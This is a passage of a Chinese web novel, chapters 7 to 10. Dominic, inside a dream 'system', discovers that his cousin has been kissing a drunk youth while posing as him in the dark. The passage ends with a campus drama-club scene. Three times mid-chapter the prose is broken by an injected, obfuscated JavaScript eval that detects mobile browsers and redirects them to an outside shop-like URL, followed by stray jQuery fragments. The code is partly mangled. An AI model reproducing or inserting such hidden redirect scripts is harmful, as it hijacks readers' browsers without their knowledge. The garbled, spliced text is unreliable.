《被F4在梦里强制攻略了》
7. 【觊觎】
是夜。
多米尼克·费尔温德清楚的知道他在做梦。
冰冷的机械音在脑海响起。
【系统接入成功,梦境副本载入……】
【任务生成:你的恋人醉得可爱,试着从他口中探知到一点小秘密吧。】
多米尼克站在原地蹙眉,银白色的睫毛在眼睑下投出淡淡的阴影。
什么系统,什么恋人?
奇怪而荒谬的梦。
似乎是感受到他的迷茫,一个巨大的粉色箭头在远处发着光,提示他“这里”是需要注意的地方。
视线所及,周遭一切都笼罩在灰蒙蒙的色调都是灰蒙蒙的。唯独箭头所指的方向,被一束朦胧却温暖的光晕笼罩着。
那光束下是一张小小的圆桌,坐着两个人。其中一个,赫然是白天刚见过面的闻铮。
梦中的闻铮穿着常服,表情是毫不掩饰的专注,甚至带着一丝罕见的柔和,耳朵尖透着可疑的红,正一瞬不瞬地盯着对面的人。
而对面那个,捧着玻璃酒杯,脸颊泛着桃花般的粉晕,眼神迷离漾着水光,正对着闻铮痴痴傻笑的……
竟是白天在医务室有过一面之缘的那个少年。
多米尼克冰蓝色的眼眸微微眯起。
所谓的“恋人”,总不会是指闻铮。
梦境光怪陆离,出现白日见过的人并不稀奇。但为何偏偏是他?
他站在原地,没有立刻上前。
可这梦中的什么系统,似乎格外偏爱奚亭,那束光依旧执着地打在他身上,将少年醉酒后异于平日的神情照得一清二楚。
暖调的白皙肌肤透出粉,蜂蜜色的眼睛沁着水,迷迷蒙蒙的。
闻铮察觉到了多出来的视线,转头看来。见到多米尼克,他脸上那点柔和瞬间冻结,转化为隐晦的错愕。
多米尼克没有错过闻铮藏都藏不住的微妙敌意,并对这敌意感到一丝莫名。
他步履未变,依旧保持着惯有的从容步调,走近那张被光笼罩的桌子。感受到闻铮到达目标地点,那束光就消失了。
“你怎么才来?”
闻铮见到他似乎很生气,嘴里问着“为什么才来”,却像是在质问“你怎么会在这里”,他的目光在多米尼克和奚亭之间逡巡,话是对多米尼克说的,眼睛却又重新回到奚亭脸上,理直气壮的质问,“你就这么照顾他?让他醉成这样?”
多米尼克扫了他一眼,语气平淡无波,带着一丝恰到好处的疏离:“我应该怎么照顾?”
闻铮不知道脑补了什么,脸一沉不说话了。
他们的对话惊动了沉浸在自己世界里的奚亭。
他慢半拍地转过脸,迷蒙的目光落在多米尼克身上,停滞了几秒,那双被酒意浸得水润的眸子一点点亮起来,唇角瞬间扬起笑容,声音因为醉酒而拖长,甜滋滋地荡漾开:
“多米~你来啦。”
他叫多米尼克“多米”,这是个极其轻密的爱称,语调亲昵自然,像是掺了糖水。
闻铮的脸彻底黑了。
多米尼克没有接话行,冰蓝色的眼眸深处却掠过一丝极淡的疑虑。他审视着眼前的少年。
为何会梦见他,还是如此亲密的情态?自己潜意识里,难道会对表弟在意的人产生什么不该有的念头?
这个结论让他感到些许荒谬,并开始严谨地反思自己的道德感。
见他不言不语,只是静静站着,奚亭似乎有些困惑。他歪了歪头,努力睁大眼睛想看清多米尼克的神情,但因为醉意,世界总蒙着一层薄雾似的。
他索性站起身,脚步虚浮地凑近,仰起脸,几乎要碰到多米尼克的鼻尖,凝神去瞧他的眼睛。
两人之间的距离骤然缩短。
多米尼克没有打断他的动作,想看看这醉鬼要干什么。
他垂眸,映入眼帘的是少年放大的脸庞。
暖粉从脸颊蔓延至眼角,长而密的睫毛沾着细微的水汽,随着呼吸轻颤。
他这才发现,少年有一双蜂蜜色的瞳仁,里面倒映出他自己模糊的轮廓,深处却依旧氤氲着一层醉意的薄雾,湿漉漉的,仿佛轻轻一碰就能漾出水来。
太近了。
近到能闻到他呼吸间清浅的酒气,混合着少年身上干净微甜的气息。近到能感受到他身体散发的温热。
多米尼克眸光几不可察地动了一下,被那眼底的氤氲雾气短暂地迷惑,任由这过于亲昵的距离持续了两秒。
两人近的的鼻尖都将触碰。
“喂!”
闻铮突然出声,声音不大,却带着一种忍无可忍的烦躁,打破了这诡异的静谧。他盯着几乎贴在一起的两人,语气酸得能拧出汁来:“行了吧?这里是公共场合,能不能注意影响!”
奚亭正看得全神贯注,被这突然的声音惊了一下,本就虚浮的脚下一软,撞进了多米尼克宽阔而坚硬的胸膛。
他索性双臂就势环住了对方的脖颈,没有一点要躲闪的样子,动作自然又放松。
因为身高差距,他踮着脚,抱得有些吃力,于是理所当然的将全身的重量都交付给爱人,身体彻底依偎进对方怀里,脸颊无意识地蹭了蹭。
多米尼克身体一僵。
他不喜与人触碰,几乎是少年撞来的瞬间立刻就想将人推开,手掌抬起,隔着一层衣料,掌心传来的触感。
温热、柔软,甚至能隐约感受到蝴蝶骨的形状,以及怀里的少年透过胸腔传来的、稍快的心跳。
那温度透过掌心,似乎要渗入皮肤。
推开的动作不知为何,停滞在半途。
怀里的人顿在那里,应该是觉得很舒服,安静下来不动了。呼吸温软地拂过他颈侧的皮肤,带来一阵细微的战栗。
多米尼克,喉结极其轻微地滑动了一下。
他冷静开口要把人扶正:
“自己站好。”
“头晕……”奚亭把脸埋在他颈窝,声音闷闷的,带着鼻音,像是在撒娇。环在他脖子上的手臂收得更紧了些,全然依赖的姿态,不愿离开自己的恋人。
闻铮看着这一幕,胸口那股无名火烧得更旺。他明知平时多米尼克对怀里这人有多强的占有欲,此刻却见对方那副看似不耐的冷淡模样,不知哪根筋搭错,脱口而出:
“你要是不想抱,就把他给我。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16950829|193071||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
话说出口,连他自己都怔了一下,觉得自己表现的过于明显,随即别开脸,耳根却不受控制地红了。
但是他没有改口。
多米尼克冰蓝色的眼眸平静地扫过闻铮那张自以为遮掩的很好,实际上写满明晃晃渴望的脸,又垂眸看了看自己怀里这个睡得毫无防备的毫无防备的少年。
所以,现在是什么情况。
为一个醉鬼,在梦里和表弟上演争风吃醋戏码。
怎么会做这么毫无逻辑的梦?
既然闻铮这么想要……
多米尼克几乎没有犹豫,手臂稍一用力,便将奚亭从自己怀里转了闻铮身上。
动作干脆,甚至带着一丝事不关己的淡漠。
“拿去。”他的声音听不出情绪。
闻铮显然没料到他会真的放手,手忙脚乱地接住奚亭。
少年的身体落入他怀中时,他整个人都绷紧了,手臂僵硬地环住,力道轻了怕摔着,重了又怕弄疼他,那张惯常带着桀骜神色的脸上,此刻只剩下小心翼翼的紧张和一丝不易察觉的惊喜。
他调整了一下姿势,让奚亭靠得更舒服些,动作轻柔得不像多米尼克印象里的闻铮。
而奚亭,似乎对换了个怀抱并无太大感觉。他依旧醉意朦胧,无意识地用脸颊蹭了蹭“多米”的颈窝,寻了个更舒服的位置,含糊地嘟囔了一句什么,长长的睫毛颤了颤,仿佛又要睡去。
多米尼克将这一幕收在眼底。
在闻铮怀里的依赖姿态,与方才在自己怀中时一般无二。
看着闻铮那副如获至宝、大气不敢喘的样子,眼底掠过冷嘲。
出息。
闻铮却没心思留意多米尼克的神情。他全部注意力都集中在怀中人身上,感受着那份真实的重量和温度,心跳加快。
他强压下翻涌的悸动,努力让声音听起来平稳,声音带上一点试探的、刻意装出的不经意,抬头看向今天大方的不正常的多米尼克:
“你们……”他顿了顿,目光灼灼,里面的炽热几乎要溢出来,“是不是终于要分手了?”
这话问得直白。是个人都能听出他话中的期待,任谁都不会怀疑,如果多米尼克此刻点一下头,下一秒他就会迫不及待成为奚亭的下一任。
多米尼克迎上他的视线,薄唇微启,这是个无关紧要的梦,在梦里成全他有何不可?
闻铮对这个少年有多迷恋,即使他不怎么关注这些乱七八糟的事,也偶尔听母亲提及过。
可话到嘴边,微启的嘴唇又重新抿住。
莫名地,他不想回答这个问题。
好在未等他做出任何回应,熟悉的电子音再次响彻脑海。
【检测到攻略对象陷入深度睡眠,无法探知秘密,判定任务失败。】
【回溯程序启动。】
【3、2、1。】
闻铮急切等待回答的脸,他怀中少年安睡的侧颜,环境雅致的小花园瞬间,全都扭曲、拉长,化作模糊的色块,最后坍缩成一个光点。
啪。
感官重新接续的刹那,他感觉到怀中那熟悉的、温软而带着醉意的重量。
8. 【觊觎】
暖黄色的光晕依旧笼罩着这一隅,空气里漂浮着淡淡的甜酒香。奚亭还好好地待在他怀里,手臂松松地环着他的脖颈,脸颊贴着他的胸膛,呼吸绵长。
而闻铮,正站在一步之外,脸上带着方才那种混合着不甘与渴望的表情,说出的话还在空气中,余音未散:
“……你要是不想要,就把他给我。”
“回溯”了。
看来,根据这个“系统”的判定,多米尼克并不能将人给出去。
像是找到了什么正当理由,这一次,他没有丝毫要将人递出的意思。手臂甚至几不可察地收拢了些许,将那温热的身体更稳固地圈在自己怀中。少年柔软的发丝蹭过他的下颌,带来微妙的触感。
他抬眼,看向再次说出这句话的闻铮,心底升起的隐秘的愉悦,语气平淡地开口,带着一丝惯有的、居高临下的敷衍:
“看起来,他认人。”
简单的三个字,堵住了闻铮所有的后续。
不是我不想给,是他只认我。你要怪,就怪他的依赖,或者,怪那个强行回溯的系统。
多米尼克毫不心虚的抱着弟弟的暗恋对象,在心里想。
闻铮一愣,看向奚亭,少年确实紧紧依偎在多米尼克怀里,姿态是全然的信任与亲昵。
他不甘心地又看了奚亭一眼,嘴唇动了动,似乎还想说什么,但在多米尼克那平静无波却不容置疑的目光下,最终只是咬了咬牙,转身离开了。
打发走了碍事的人,多米尼克终于能仔细打量怀里这个引发一切莫名其妙的“恋人”。
酒精随着时间的流逝彻底在体内发挥作用,奚亭醉得似乎更深了些,眼睛完全闭上了,睫毛在眼睑下投出两弯小小的阴影,随着呼吸轻轻颤动,脸颊的红晕蔓延到了耳根,连脖颈都透着淡淡的粉色。
多米尼克看了他几秒,忽然伸出手,修长的手指带着微凉的体温,捏住了少年一侧软乎乎的脸颊。
手感极好,温热、细腻,像上好的羊脂软酪。
他微微用力,将那块软肉捏得鼓起。
“不许睡。”多米尼克警告。
“唔……”奚亭似睡非睡的发出不满的咕哝,眉头蹙起,试图转开脸。
多米尼克松开手,换了个方式,拇指和食指轻易的捏住了少年的两边脸颊。
少年嘴唇被捏的微微张着,露出一点点洁白的齿尖和更深处柔软的舌尖,呼吸间带着甜腻的酒气。
他闻出了少年喝的是什么酒。
那是一种产自费尔温德家某个附属庄园的特酿果酒,用多种莓果混合蜂蜜发酵,入口甜美如汁,极易下咽,但后劲绵长霸道,极容易让人在不知不觉中过量饮醉。
看来这小醉鬼贪杯,不知不觉就被放倒了。
他松开手,看着那白皙脸颊上留下一点淡红色的指印。
奚亭被他扰得不安稳,迷迷糊糊抬起一只手,想去挥开那作弄自己的手指,苦于没什么力气,反而像是在迎合。
多米尼克顺势握住他那只不安分的手。和自己相比,少年的手腕有些细,一手就能握住。
他看着眼前这个醉得人事不知、任人摆布的小东西,想到梦中“系统”发布的任务。
“清醒一点。”多米尼克的声音不高,带着命令的口吻,手指不轻不重地捏了捏少年的。
奚亭被他弄得没办法安睡,极不情愿地掀开沉重的眼皮。眼眸水光潋滟,迷蒙一片,焦距涣散,有些委屈又有些茫然地望着他,仿佛在控诉为何不让自己睡觉。
“你有什么秘密?”
多米尼克直截了当的问。
“秘密……”奚亭重复着这个词,慢吞吞地,像是在努力理解它的含义。他眨了眨眼,视线似乎清晰了一瞬,定定地看着多米尼克近在咫尺的脸。
然后,他忽然伸出手,学着他刚才的样子,用两只手轻轻捧住了多米尼克的脸颊。
他的手心很热,带着微微湿润的汗意和酒气。
“我没有秘密呀……”奚亭嘟囔着,声音含混。
他捧着多米尼克的脸,左右轻轻晃了晃,像在玩什么游戏,眼睛弯起,露出一个有点傻的笑,“我对多米……没有秘密。”
和醉鬼果然说不清。
多米尼克任他捧着自己的脸晃了两下,才抬手握住他的手腕,将他的手拉下来。
奚亭再次栽倒在他怀里。
就在这时,他感到对方上衣外套的口袋里,有个硬硬的方形。
手机?
多米尼克几乎没有犹豫,空着的那只手便探入奚亭外套的口袋,轻而易举地将那部手机拿了出来。简单的白色手机。
他按下侧键,屏幕亮起。
屏保照片映入眼帘——是奚亭自己的照片,但不止他一个人。
似乎是抓拍,画面有些模糊,照片里,奚亭笑得眉眼弯弯,满脸幸福,仰头看着身旁的人。旁边那人只露出小半张侧脸和线条优美的下颌,以及一只正轻轻揉着奚亭头发的手。
多米尼克看出来了,那是他自己。
照片里那个“自己”低头看向奚亭的眼神温柔得不可思议,宠溺又纵容,是现实中的多米尼克·费尔温德绝不可能拥有的神情。
很陌生。
手机没有密码,直接解锁进入了主界面。
桌面只有一个聊天软件。他点开,联系人列表寥寥无几,排列在最前面的几个,备注名都很简单。
【男朋友】
【哥哥】
【奥列弗】
【谢学长】
……
【同学甲】
【同学乙】
【男朋友】
应该是梦境没有涉及,随便点开几个,聊天记录都是一片空白。
没找到什么有效信息,他正要退出时,感到有什么不对,指尖蓦地顿住。
为什么,备注有……两个“男朋友”?
多米尼克眉峰蹙起。
他先点开了排在后面的那个“男朋友”。聊天记录一片空白,没有任何历史消息,仿佛这个联系人只是个摆设。
他退出,又点开最上面的那个“男朋友”。
这一次,聊天界面不再空白。大量的对话记录瞬间刷满屏幕。
最新的对话:
【男朋友:今天开会好无聊,一直在想宝宝。】
【奚亭:摸摸头
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16950830|193071||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,快结束了嘛?】
【男朋友:嗯,快了。】
【男朋友:很想你,好想吻你。】
【奚亭:(小羊捂脸害羞表情包)】
【奚亭:我也很想你。】
【奚亭:很快就可以见面啦!】
时间显示,这条“想吻你”的消息是今天稍早时候发的,奚亭回复了表情包和那句话之后,对方没有再回复。
多米尼克又往上翻了翻,聊天记录持续了一个月,每天都有对话,而且频率很高。
内容无非是日常分享、嘘寒问暖、全是黏腻的情话,充斥着“宝宝”“宝贝”“亲亲”“想你”“想吻你”“好爱你”“最喜欢你”之类的字眼,语气亲昵甜蜜到近乎肉麻,完全是一对处于热恋期、难舍难分的小情侣。
他的目光在对方发来的那些密密麻麻的“宝宝想你”上停留。
如此直白乃至幼稚的词汇,与其说是恋人,不如说更像一只狂热摇尾、急于向主人表达爱意和依赖的……狗。
令人不适。
他退出聊天界面,重新看向怀里的奚亭。少年似乎因为他停止骚扰而又陷入了半睡半醒的昏沉,脸颊红扑扑的。
“这个人,”多米尼克将手机屏幕转向奚亭,指着第二个“男朋友”的聊天记录,声音比刚才沉冷了几分,“是谁?”
奚亭费力地掀起眼皮,眯着眼看了看屏幕,又仰头看看多米尼克,表情困惑,似乎不明白他为什么问这个。
他理直气壮:“不是你的小号吗?”
小号?
多米尼克眼神一凝。
似乎是看出恋人有些生气,奚亭虽然不解,仍然努力断断续续地解释:“你自己说的呀……大号用来工作,不适合聊得太亲密……所以,所以平时都跟我用小号聊天的呀……”
他晕乎乎的,又把脸埋回多米尼克胸口,“多米……是笨蛋。”
这个解释,听起来似乎合情合理。用工作号和生活号区分不同社交圈,是很多人的习惯。
这是他的小号?
他看着那些与他本人性格严重不符的聊天记录,仍旧不相信自己恋爱后会变成这样毫无尊严的舔狗模样。
怀里的少年因为姿势不舒服,又无意识地动了动,多米尼克环视一圈,走出大厅来到外面的花园。
花园里空气微凉,带着植物的清冽气息,冲淡了两人身上沾染的甜腻酒气。一张白色的藤编躺椅恰到好处地放置在草坪中央。
多米尼克走到躺椅边,自己先坐下,然后将怀里的奚亭放在了躺椅的另一侧,动作谈不上温柔。
然而,几乎就在脱离他怀抱的下一秒,醉醺醺的奚亭便像失去了安全感的雏鸟,迷迷糊糊地循着热源和熟悉的气息,又黏糊糊地蹭了过来。
他侧过身,手臂软绵绵地搭上多米尼克的腰,脑袋歪着,试图再次枕上他的腿或是靠上他的身侧,嘴里还含糊地嘟囔着:“多米……”
一刻也离不开的样子。
行吧。
多米尼克垂眸看着他努力往自己身上贴的动作,最终没有推开。
他任由奚亭的手臂环着自己的腰,脑袋最终靠在了他的大腿外侧。
9. 【觊觎】
多米尼克的目光落在奚亭潮红未褪、意识混沌的脸上。
他沉默了片刻,伸手拿过旁边小几上的玻璃壶,掏出自己的手帕,浸上冰凉的清水,拧得半干。
然后毫无预兆地,将这块湿冷的手帕,一把糊在了奚亭的脸上,覆盖住了他大半张脸。
“唔——!”
突如其来的冰冷让奚亭挣扎起来,醉意被强行驱散了大半。
明明很难受了,自己却没有动,躺在多米尼克的大腿上,下意识寻找自己可靠的恋人:“多米……多米救我……”
多米尼克等他挣扎了几秒,才施施然拿开手帕。
奚亭像是溺水得救般大口喘息,蜂蜜色的眼睛瞪得圆圆的,迷茫又不满。
他脸上湿漉漉的,水珠沿着发梢和下颌滑落,冲淡了酒气的红晕,却让皮肤显得更加白皙剔透,唇色被水浸过,愈发红艳。
“你……干什么呀!”
他声音微哑,控诉地望着多米尼克,不明白恋人为什么突然这样粗暴地对待自己。
“清醒了?”多米尼克语气平淡,仿佛刚才只是做了件再寻常不过的事。
他将湿手帕丢回小几上,重新拿起被丢在一旁的手机,解锁,再次点开那个“男朋友”的聊天界面,然后递到奚亭眼前。
奚亭的注意力被屏幕吸引,他眨了眨湿漉漉的眼睛,努力聚焦去看。看清是恋人和自己的对话时有些不解,不明白他为什么突然给自己看这个。
多米尼克没有浪费多余的口舌质问那个“小号”究竟是不是自己。
他的手指直接划到最新那几条消息,指尖点在那句“好想吻你”上,然后,他抬起眼,冰蓝色的眼眸平静无波地看向奚亭,问道:
“‘我’说想吻你。
“吻到了吗?”
他的声音不高,在寂静的花园里却格外清晰。
奚亭愣了一下,随即,脸颊以肉眼可见的速度再次漫上红晕,这次不是因为酒意,而是纯粹的羞赧。
他垂下睫毛,避开了多米尼克直白的目光,以为这是热情而占有欲极重的恋人是在调情,或是不满先前自己的推拒,在再次索吻。
他抿了抿被水润泽过的嘴唇,声音细细的,带着点温顺的妥协:
“那……那你这次不可以咬我。”
说完,他似乎又想起了什么,补充道,语气里带上了一点抱怨:“刚刚你咬得我好痛。”
咬?
多米尼克眸光一凝。
他伸出手,指尖捏住奚亭的下巴,微微用力,让他抬起头。
仔细看去,少年红润饱满的下唇内侧,靠近嘴角的地方,果然有一处细微的破皮,颜色比周围的唇肉更深一点,微微肿起。因为嘴唇本就因醉酒而呈现出熟红欲滴的颜色,不凑近细看,确实不易察觉。
他根本没有吻过少年,更别提咬他。
所以,这伤口是……在“自己”到来之前留下的。
指腹粗暴的擦过那处。(审核你好,这里是用手摸嘴上的伤口,不是脖子以下!!)
“嘶……”奚亭轻轻吸了口气,下意识想躲。
多米尼克没松手,手指按着他下唇,将那点伤口更清楚地暴露。
“谁咬的?”他问,声音低了些。
奚亭困惑更深,雾气朦胧地望着他,不理解这问题。
“是你呀。”他小声道,“不就是刚才……?”
“刚才?”多米尼克捕捉关键词,“我来之前?”
“嗯……”奚亭点头,随即又摇头,“不对,是你来了,又走了……然后你回来……”
他有点要把自己绕晕了,说话断断续续,带着醉意的混乱,但多米尼克还是听出蹊跷。
“之前我来过?”
“对呀……”奚亭下意识回答恋人的问题。
问题出现了。之前来过的绝不是他。
那会是谁?
闻铮离开前那张写满不甘与渴望的脸,再一次浮现在脑海。模糊却令人不快的猜想逐渐成形。
“我今晚,”多米尼克开口,声音听不出异样,“来得是比说好的晚了些。等很久了?”
奚亭摇了摇头,发丝蹭过他胸膛。“没有很久……你之前发消息说会迟到,让我尝尝你给我准备的酒。”
他回味似的,“很好喝。”
“嗯。”他不动声色地应道:“好喝你就喝了这么多?看你醉得不轻。”
“我没醉……”奚亭笑,眼神迷离,“就是……有点晕。”
“我进来的时候给你带了个小礼物,”多米尼克垂眸看他,一点点试探,“你有没有看见?”
“啊?”醉意让奚亭的思维运转的格外缓慢,甚至四处张望着要去寻找礼物,“我没有看清,我趴在桌子上晕晕的,多米一来就要亲我……”
光线暗,而且他靠近得很快,动作相当急迫。
“我有点记不清了,”多米尼克的声音放得平缓,带着一点恰到好处的、仿佛因忙碌而产生的轻微歉意,“最近太忙。今晚……我是不是有些急躁了?”
奚亭轻轻“嗯”了一声,带着点委屈的鼻音,他顿了顿,又小声补充,“没关系,多米。”
这包容的姿态,让多米尼克心里那点莫名的滞涩感更清晰了一点。
他按捺住,继续用那种闲聊般的语气问:“‘我’经常这样吗??”
奚亭在他怀里想了想:“也不是经常。有时候多米很黏人的,很可爱。”
说到这个,他笑了一下,觉得这种和恋人平时冷淡的样子截然不同的反差真的很可爱,“可是有时候你约我的时候又很安静,是不是害羞了呢?”
多米尼克的目光掠过奚亭柔软的发顶,心里嗤笑一声。
有人心怀鬼胎,生怕暴露,自然不敢多说一句话。
“看来我最近忙得有些晕头转向了。”多米尼克语气平和,带着一点淡淡的自我调侃,“线上话多,见了面反而不知道说什么好了。”
奚亭在他怀里动了动,似乎很赞同这个说法。“嗯……我有时候是觉得,你对着屏幕好像更会说话。”
他没什么心机地回应,“这个月你真的很忙啊,所以每次见面都那么急匆匆的。”他顿了顿,“像今晚这样。”
“今晚?”多米尼克顺着问,手指很轻地掠过奚亭唇角,“我今晚,很着急吗?”
“嗯……一来就……”奚亭不好意思说下去,只是又摸了一下自己的嘴唇,暗示那个带着痛感的亲吻。
“是我不好。我只是……”他意味深长的拉长语调:“只是太想你了。”
转而像是忽然想起什么:
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16950831|193071||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“上次见面,我是不是表现的也不太好?”
“上次……在私人影院那次?”奚亭回忆着,“没有,但是,”他犹豫了一下,“你选的片子好暗,整个房间都黑漆漆的,我都看不清你。”
“黑漆漆的?”多米尼克心中了然,语气里带上一点恰到好处的歉意,“是不是让你觉得无聊了?”
“那倒没有。”奚亭摇头,声音十足依赖,“就是……你一直不让我开灯,说那样有气氛。”
“可是我太久没见到你了,很想好好看看你。”他抬眼看着多米尼克,眼里全是对爱人的思念。
多米尼克不知道怎么想的,像是不敢和他对视,伸手盖住了那双满是浓烈爱意的眼睛。
不让开灯。
刻意维持的黑暗。
聊到这里,多米尼克可以确定,闻铮是用什么样的方式欺瞒着眼前的少年,让他不发现端倪。
呵,一个失败的暗恋者,只敢借着别人的身份、躲在阴影处偷取片刻温存。
他低头看着奚亭全然信赖地蜷在自己怀里的模样,少年呼吸间的甜香和温暖如此真实。
尽管清楚地知道这只是个荒诞的梦境,但此刻,怀中人的依赖是直接赋予他的,那些亲昵的呼唤也是指向他的。
就算是个梦,闻铮又凭什么,作为一个小偷,来偷取原本属于自己的吻?
多米尼克忽然觉得有些意兴阑珊,甚至不讲道理的因为一个梦给塑料表弟定了罪。为了一个根本就对他一点好感都没有的、自己表哥的爱人,如此处心积虑的诱惑哄,真是……毫无品格。
他拍拍少年的脑袋。
“嗯?”少年迷糊地应道。
“以后,”多米尼克的手掌捧着他的脸让他抬头看自己的眼睛,这是一个想要掌控的姿势,即使他自己都没有意识到,“别轻易相信昏暗里的‘我’,也别再喝这么多甜酒了。”
奚亭刚刚才被盖住眼睛,视线进入黑暗中,酒精的效果又起来了,此时正恹恹欲睡:“为什么?”
多米尼克没有回答,只是用指腹缓缓擦过他那处带着伤痕的唇角。
因为,黑暗中等着吻你的,可能不是你所期待的爱人。
【任务成功。】
【梦境结束倒计时。】
【3、2、1。】
怀里的温热逐渐消散,少年迷惑不解的眼神,也逐渐模糊在褪色的光线里。
*
【CG生成中】
【醉语】
光线被刻意压得很低。
画面中央,身形高大的影子完全笼罩了怀中的少年。
他的面容大部分沉在阴影里,难以辨清,唯有姿态透出一股仓促的迫切。他的手掌不容拒绝的覆在少年纤细的后颈,将人拉近自己,那是一个万分迫切的姿势。
少年被迫仰起头,无力承受恋人浓烈到难以拒绝的爱,眼睛半闭着,浓密的睫毛湿成一簇簇,脸颊是不正常的潮红,嘴唇微微张开,被紧密地覆盖、含吮,泛着淋漓的水色。
温情脉脉的亲吻,反而更像一场单方面的掠夺。寂静的画面,却仿佛能听见急促的呼吸,感受到那禁锢般手掌的温度,以及少年无声承受时隐秘的颤栗。
所有未明言的迷恋、僭越与隐秘的背德,都凝固在这偷来的昏暗的一吻之中。
10. 戏剧社
图书馆南侧的角落被午后阳光偏爱,几扇高窗滤进金灿灿的光束,恰好笼住那张靠墙的橡木长桌。
空气里浮动着旧纸张与干燥木料混合的沉静气味,偶尔有翻页的细微声响从远处书架间传来,更衬得这一隅格外安宁。
奚亭昨晚睡得很好。
这次意外的什么记忆都没有,喝醉了似的,整个人晕陶陶的,好像陷在暖融融的云絮里,醒来后,舌尖似乎还残留着甜蜜的味道。
一场很令人放松的梦,他睡了非常安稳的一觉,前所未有的神清气爽。
可这份神清气爽很快就替换为苦恼。
奚亭坐在光里,平板屏幕亮着,映出他微蹙的眉尖。艾瑟伦学院的社团很多,大大小小几百个,社团申请的列表很长,他指尖滑动,一个个名字掠过。
艾瑟伦的评价体系非常全面,他最近才知道,期末的成绩评定中有社团活动,而且评价必须拿到B级及以上。对有些内向,不爱社交的奚亭来说,这无疑是个难题。
击剑社有哥哥在,但高强度训练非他所能承受。马术作为闲暇爱好还行,可社团的常规训练量,他的身体肯定吃不消,哥哥也绝不会同意。
至于文学社、编辑社这类相对适合的,早因他开学时的回避与拖延,名额已满。
奚亭轻轻叹了口气,下巴轻轻扣在平板上。
好后悔,如果当初没有因为怕麻烦就那么坚定的拒绝那些热情的纳新邀请……
平板忽然被人从侧面抽走。
奚亭吓了一跳,倏然抬头。
奥利弗学长不知何时站到了桌边,正俯身撑着桌面,笑盈盈地看他。
那双灰绿色的眼睛格外亮,此刻正毫不掩饰地聚焦在奚亭脸上。
“别看了,”奥利弗开口,声音熟稔,他晃了晃到手的平板,“看得眉头都拧紧了。让我猜猜——是不是有人在为社团发愁?”
奚亭眨了眨眼,还没反应过来这人是从哪冒出来的,下意识点了点头。
奥利弗的笑意更深了,“别费劲琢磨那些了。”
他划拉几下屏幕,调出一个页面,然后神神秘秘地压低了嗓音:“我们戏剧社,最近在为百年校庆排一出大戏,”
他顿了顿,目光再次细细描摹过奚亭的轮廓,看他此刻因蕴着疑惑而显得格外生动的眼睛,“里面有个角色,我看到剧本的第一眼就想到了你。”
奚亭被他那种被明晃晃的细致打量弄得很不自在。
他垂下眼睫,“恐怕不行,奥利弗学长。我从来没演过戏。”
“不会可以学啊,正好你还没有加入任何社团。”
奥利弗顺势在他对面的椅子上坐下,身体前倾,手臂搁在桌沿,一副他不同意就要长谈的架势。
“戏剧社是学院四大荣誉社团之一,校庆项目重中之重。在这里,哪怕只是拿个B的评价,含金量也远超那些小社团拼死拼活拿到的A。”
他凑近了些,声音带着点诱哄,轻声,“我只是实在觉得你很适合这个角色。”
“我知道你比较内向,戏剧社是s级社团,有权利行使一点特权,这次的校庆很重要,如果你参演了我们的剧本,也算是为学校做出了卓越贡献,我可以说服社长给你开一个证明,这样就算你没有正式加入戏剧社,社团这一项也可以通过。”
“总归你只是来试试,就算不过又有什么关系?”
奚亭有些犹豫。
奥利弗敏锐地捕捉到了他那一瞬的迟疑,立刻趁热打铁,开始夸张的咏叹调,搞怪道:
“——哎呀,不知道有些人还记不记得,那是一个潮湿的雨天,天色灰蒙蒙的,雨很大……”
奚亭被他逗笑了。
*
那天雨下得很大,天色的确灰蒙蒙的。
奥利弗记得清楚,自己是为了抄近路去交一份紧急材料,才拐进了那条平时少有人走的回廊。
然后他就看见了奚亭。
回廊又长又暗,窗外的雨声被厚重的墙壁滤得沉闷。那个新生独自站在晦暗的光线里,怀里紧紧抱着几本厚重的古籍。
他显然没带伞,细软的黑发被连廊风吹入的雨丝打湿了几缕,贴在光洁的额角,肩头的衣料也洇开一小片深色的水痕。
应该是迷路了,他安静地仰着头,专注地看着墙上的指示牌。窗外灰白的天光吝啬地投进来,恰好勾勒出他侧脸的线条——
下颌到脖颈那段弧度干净而优美,皮肤在微弱光线下白得像是能透光,嘴唇因为专注而微微抿着。
真正让奥利弗停下脚步的,是那双眼睛。
那是一双让人忍不住驻足的眼睛,蜂蜜色的瞳仁隔着雨望去,似乎氤氲着一层湿漉漉的雾气,眼底盛满了一种独特的、安静的忧郁。
奥利弗当时就站在原地定定看了他几秒。
心里就想:他看起来很需要帮助。
所以分明快迟到了,他还是走了过去。
后来奥利弗还是没能及时送到那份文件。
